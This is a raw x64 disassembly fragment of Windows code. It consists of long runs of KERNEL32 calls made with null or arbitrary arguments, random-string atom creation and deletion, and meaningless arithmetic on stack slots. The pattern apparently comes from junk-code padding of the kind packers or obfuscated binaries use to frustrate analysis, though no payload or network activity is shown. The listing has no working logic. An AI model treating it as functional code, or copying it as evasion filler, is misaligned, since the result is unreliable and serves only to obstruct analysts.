mov eax, dword [rsp + 0x4a54]
mov dword [rsp + 0x4f98], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0xba28]
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ee8], eax
mov rax, qword [rsp + 0xba18]
mov rcx, qword [rsp + 0xb7d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14024f328]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, byte [rsp + 0x2d0]
mov rcx, qword [0x14024f1b8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x28c], al
movzx eax, word [rsp + 0x12f0]
mov rcx, qword [rsp + 0xb308]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfb8], ax
lea rcx, [rsp + 0x1a5b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa6d8]
mov rcx, qword [rsp + 0xa288]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x84f8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rcx, qword [rsp + 0xa440]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1aca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb660]
mov rcx, qword [rsp + 0xa498]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb2d0]
mov qword [rcx], rax
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x20], 0x487
mov r9d, 0x9e7
mov r8d, 0x3e58
mov edx, 0x3c4b
mov rcx, qword [rsp + 0xb738]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b88], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x22080]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f9c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rax, [rsp + 0x4150]
mov qword [rsp + 0xba30], rax
mov dword [rsp + 0x20], 0x269e
mov r9d, 0x7b4
mov r8d, 0x3627
mov edx, 0x1383
mov rcx, qword [rsp + 0xa6d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4cbc], eax
movsx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa568]
mov byte [rcx], al
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0x6b4]
mov rcx, qword [rsp + 0x9870]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab10]
mov word [rcx], ax
mov eax, dword [rsp + 0x4c80]
mov dword [rsp + 0x4fa0], eax
lea rax, [rsp + 0x10d]
mov qword [0x14024f060], rax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0xaa08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaf68]
mov qword [rcx], rax
movzx eax, word [rsp + 0x131c]
mov word [rsp + 0x157c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb080]
mov rcx, qword [rsp + 0x98b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xab08]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeec], ax
lea rdx, [rsp + 0xba38]
mov rcx, qword [rsp + 0x9e78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ac4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x222c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e0c], eax
lea rcx, str.LCVgd_A
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1580], ax
movzx ecx, word [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf9c], ax
mov eax, dword [rsp + 0x42a8]
mov rcx, qword [rsp + 0xba30]
mov qword [rsp + 0xba40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4370], eax
movsx eax, word [0x14024f3be]
mov rcx, qword [rsp + 0xb0f0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10fc], ax
mov rcx, qword [rsp + 0xa240]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xba48], rax
mov rax, qword [rsp + 0x9568]
movzx eax, byte [rax]
mov byte [rsp + 0x2e4], al
mov eax, dword [rsp + 0x463c]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0xba50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4880], eax
movzx eax, byte [rsp + 0x2c8]
movzx ecx, byte [rsp + 0x1a2]
xor eax, ecx
mov rcx, qword [0x14024f280]
mov byte [rcx], al
lea rcx, str.R0ZX9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14a8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a9d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rcx, [rsp + 0xba58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, 0xf06
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4bf0], eax
lea rax, [rsp + 0x7af8]
mov qword [rsp + 0xba60], rax
mov rax, qword [rsp + 0xb288]
mov rcx, qword [rsp + 0xaee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4dd0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0xa7d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
sub eax, ecx
mov byte [rsp + 0xa2], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.xL_f2450IUGYZD4kuSpyU5I8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xba68], rax
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0xba70], rax
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4944], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xb068]
mov ecx, dword [rsp + 0x4370]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaea8]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [rsp + 0x22500], 0x11c
mov rax, qword [rsp + 0x9748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d40]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x109], al
lea rcx, [rsp + 0xad98]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x9870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa798]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x138c], ax
mov r9d, 0x4cc
xor r8d, r8d
lea rdx, [rsp + 0xb998]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4dc4], eax
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80a8], rax
lea rcx, str.dHoQntE_mOEJt_2UPI_NZvYyljt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1584], ax
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov dword [rsp + 0x4fa4], eax
mov rax, qword [rsp + 0xa028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140221039], al
mov rax, qword [0x14024f2e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa858]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3b8]
mov qword [rsp + 0xba78], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movzx ecx, word [rsp + 0x14e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x145c], ax
mov dword [rsp + 0x22620], 0x11c
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, word [rsp + 0x1374]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf50], ax
lea rcx, [rsp + 0x223e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4fa8], eax
mov rax, qword [rsp + 0xa6d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9888], rax
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0x11e0]
sar eax, cl
mov word [rsp + 0x1210], ax
movzx ecx, word [rsp + 0x1458]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1080], ax
lea rdx, [rsp + 0xba80]
mov rcx, qword [rsp + 0xb358]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bb8], eax
movzx ecx, word [rsp + 0xf40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0xae20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb890]
mov qword [rsp + 0xba88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x45e8], eax
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0x9db8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x116c], ax
lea rcx, [rsp + 0x1acd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb3a0]
movzx eax, byte [rax]
mov byte [rsp + 0x2e5], al
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b64], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0xa9b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
mov rax, qword [0x14024f118]
movzx eax, word [rax]
mov word [0x14024f058], ax
mov rax, qword [rsp + 0xa0c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8538], rax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0xb058]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x88c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xba90], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [rsp + 0x4f38]
mov ecx, dword [rsp + 0x474c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa540]
mov dword [rcx], eax
lea rax, [rsp + 0x998]
mov qword [rsp + 0xba98], rax
xor r9d, r9d
lea r8, [rsp + 0xa5a8]
mov rdx, qword [rsp + 0xbaa0]
mov rcx, qword [rsp + 0xa368]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0xa478]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb618]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0x9970]
mov qword [rsp + 0xbaa8], rax
mov rax, qword [rsp + 0xb1f8]
mov ecx, dword [rsp + 0x42dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb068]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xb128]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb0]
add eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rax, [0x14024f268]
mov qword [0x14024f050], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov byte [rsp + 0x2e6], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbab0], rax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0x9b40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x287], al
mov eax, dword [rsp + 0x4bb0]
mov ecx, dword [0x14024f31c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e10], eax
mov rax, qword [rsp + 0xb000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ac]
add eax, ecx
mov byte [rsp + 0x2b9], al
mov eax, dword [rsp + 0x4b00]
mov ecx, dword [rsp + 0x4a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3eb0], eax
lea rax, [rsp + 0x650]
mov qword [rsp + 0xbab8], rax
mov edx, 0x676
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c38], eax
lea rcx, [rsp + 0xa330]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9780]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x126c], ax
mov rax, qword [rsp + 0xa5f8]
mov eax, dword [rax]
mov dword [rsp + 0x4fac], eax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x125c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ec], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x361f
mov r8d, 0x399a
mov edx, 0x74
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4fb0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [rsp + 0x281]
sar eax, cl
mov byte [0x14024f0a2], al
mov rax, qword [rsp + 0x9e58]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x98c0]
idiv qword [rcx]
mov rcx, qword [rsp + 0xb2d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x84c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e30], rax
mov r9d, 1
lea r8, [rsp + 0x9760]
mov rdx, qword [rsp + 0x9c28]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ee0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1064]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1018], ax
movzx ecx, word [rsp + 0x14e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xff8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x8328]
mov qword [rsp + 0xbac0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
movzx eax, byte [rsp + 0x2d6]
movzx ecx, byte [rsp + 0x1a3]
shl eax, cl
mov byte [rsp + 0x2cc], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xba90], rax
movzx ecx, word [rsp + 0x121c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0xb3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9208]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8238], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x9dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4190]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dcc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0xb7b8]
movzx eax, word [rax]
mov word [rsp + 0x158c], ax
movsx eax, byte [rsp + 0x2b0]
mov rcx, qword [rsp + 0x9528]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d9], al
mov r9d, 1
lea r8, [rsp + 0xb7d0]
mov rdx, qword [rsp + 0xbac8]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f0c], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x47a0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov dword [0x14024f260], eax
lea rcx, [rsp + 0xbad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov rcx, qword [0x14024f0c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x6fc], ax
movzx ecx, word [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x134c], ax
movzx ecx, word [rsp + 0x1070]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1278], ax
lea rcx, str.YIn1_NSPJZqJj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1590], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rax, [rsp + 0xbd4]
mov qword [rsp + 0xbad8], rax
mov rax, qword [rsp + 0xba18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4550]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2bf]
mov byte [rsp + 0x2e7], al
mov rax, qword [rsp + 0xa638]
mov rcx, qword [rsp + 0x9fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xae20]
mov dword [rcx], eax
lea rcx, [rsp + 0x9760]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
and eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb418], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbae0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbae8], rax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb9e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa550]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x8ac], ax
lea rcx, str.EMUWK0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1540], ax
movzx ecx, word [rsp + 0x10f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1594], ax
mov rcx, qword [rsp + 0xae28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb8d0], rax
mov rax, qword [rsp + 0xb4c8]
mov rcx, qword [rsp + 0x7a98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x23ea
mov r8d, 0x9d
mov edx, 0x7c
mov rcx, qword [rsp + 0xad08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a34], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa818]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0xa0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14022fbdc], eax
lea rdx, [rsp + 0xbaf0]
mov rcx, qword [rsp + 0xaf18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b68], eax
movzx ecx, word [rsp + 0x1340]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfdc], ax
mov rcx, qword [rsp + 0xab70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4d60], eax
movzx eax, word [rsp + 0x6fc]
mov word [rsp + 0x1598], ax
movzx eax, byte [rsp + 0x14c]
movzx ecx, byte [rsp + 0x2d2]
sub eax, ecx
mov byte [rsp + 0x2b2], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbaf8], rax
mov rax, qword [rsp + 0xa620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb628]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa160]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0x8a48]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7978], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movsx eax, byte [rsp + 0x2b5]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
lea rdx, [rsp + 0xbb00]
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bc4], eax
lea rax, [rsp + 0x898]
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9f50]
mov qword [rsp + 0xbb10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4024], eax
mov edx, 0x155a
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rdx, [rsp + 0xa678]
mov rcx, qword [rsp + 0xa300]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4fb4], eax
mov eax, dword [rsp + 0x4d84]
mov ecx, dword [rsp + 0x43dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47d0], eax
mov rax, qword [rsp + 0xa6a0]
movzx eax, word [rax]
mov word [0x14024f04a], ax
mov rax, qword [rsp + 0xa898]
movzx eax, byte [rax]
mov byte [rsp + 0x2e8], al
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0x9608]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xae00]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x13a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d4], ax
lea rax, [0x14024f3c0]
mov qword [rsp + 0xbb18], rax
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb288]
mov rcx, qword [rsp + 0x9c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ecc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa100]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb198]
movsx eax, word [rax]
